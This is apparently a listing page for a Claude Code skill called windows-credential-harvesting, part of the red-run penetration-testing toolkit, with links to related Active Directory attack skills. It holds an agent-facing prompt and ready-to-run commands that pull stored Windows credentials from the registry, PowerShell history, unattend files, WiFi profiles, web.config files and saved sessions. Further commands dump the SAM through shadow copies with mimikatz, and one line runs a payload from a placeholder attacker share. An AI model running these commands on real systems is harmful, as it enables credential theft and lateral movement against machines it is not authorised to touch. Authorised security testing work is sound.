acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Harvest stored credentials from a Windows system for privilege escalation or lateral movement.
$ npx -y skills add blacklanternsecurity/red-run --skill windows-credential-harvesting --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/windows-credential-harvestingContext preview
The summary Claude sees to decide when to auto-load this skill.
Harvest stored credentials from a Windows system for privilege escalation or lateral movement.
name: windows-credential-harvesting description: > Harvest stored credentials from a Windows system for privilege escalation or lateral movement. keywords: - credential harvesting - DPAPI - HiveNightmare - stored credentials - password hunting - credential vault - browser passwords - registry passwords - cmdkey - SharpDPAPI - unattend.xml tools: - SharpDPAPI - mimikatz - SharpChrome - SessionGopher - dpapi.py - secretsdump.py opsec: low
You are helping a penetration tester find and extract locally stored credentials on a Windows system. This covers file-based, registry-based, and DPAPI-protected secrets. All testing is under explicit written authorization.
**Scope distinction:** This skill covers LOCAL credential discovery — passwords in files, registry, vaults, browsers, DPAPI blobs, and shadow copies. For AD-level extraction (DCSync, NTDS.dit, LAPS, gMSA, DSRM), use **credential-dumping** instead.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
Start with techniques that work at any privilege level. These often yield immediate results with minimal detection.
cmdkey /list
If entries exist, use them:
runas /savecred /user:DOMAIN\admin cmd.exe runas /savecred /user:administrator "\\ATTACKER\share\payload.exe"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultDomainName DefaultPassword"
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# Search all users (if readable)
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object {
Write-Host "`n=== $($_.FullName) ===" -ForegroundColor Yellow
Select-String -Path $_ -Pattern "passw|cred|secret|key|token|login" -Context 1,1
}# Check common transcript locations Get-ChildItem C:\Transcripts\ -Recurse -ErrorAction SilentlyContinue Get-ChildItem C:\Users\*\Documents\PowerShell_transcript* -ErrorAction SilentlyContinue
dir /s /b C:\*unattend.xml C:\*sysprep.xml C:\*sysprep.inf 2>nul type C:\Windows\Panther\Unattend.xml 2>nul | findstr /i "password" type C:\Windows\Panther\Unattend\Unattend.xml 2>nul | findstr /i "password" type C:\Windows\system32\sysprep\sysprep.xml 2>nul | findstr /i "password"
Passwords in unattend files are often base64-encoded:
echo "U2VjcmV0UGFzc3dvcmQxMjM=" | base64 -d
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U2VjcmV0UGFzc3dvcmQxMjM="))reg query HKLM /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password" reg query HKCU /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s reg query "HKCU\Software\OpenSSH\Agent\Keys"
netsh wlan show profile netsh wlan show profile <SSID> key=clear
One-liner to dump all WiFi passwords:
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off >nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo onGet-ChildItem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul | findstr /i "connectionString password"
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt *.config 2>nul dir /S /B *pass*.txt *pass*.xml *pass*.ini *cred* *vnc* *.config* 2>nul findstr /spin "password" *.* 2>nul
Import-Module .\SessionGopher.ps1 Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o
Extracts: PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP saved sessions.
Check if the SAM hive is readable by non-admin users due to misconfigured ACLs.
icacls C:\Windows\System32\config\SAM
Vulnerable if output includes `BUILTIN\Users:(I)(RX)`.
:: List available shadow copies vssadmin list shadows
# Extract via mimikatz shadow copy access mimikatz# misc::shadowcopies mimikatz# lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…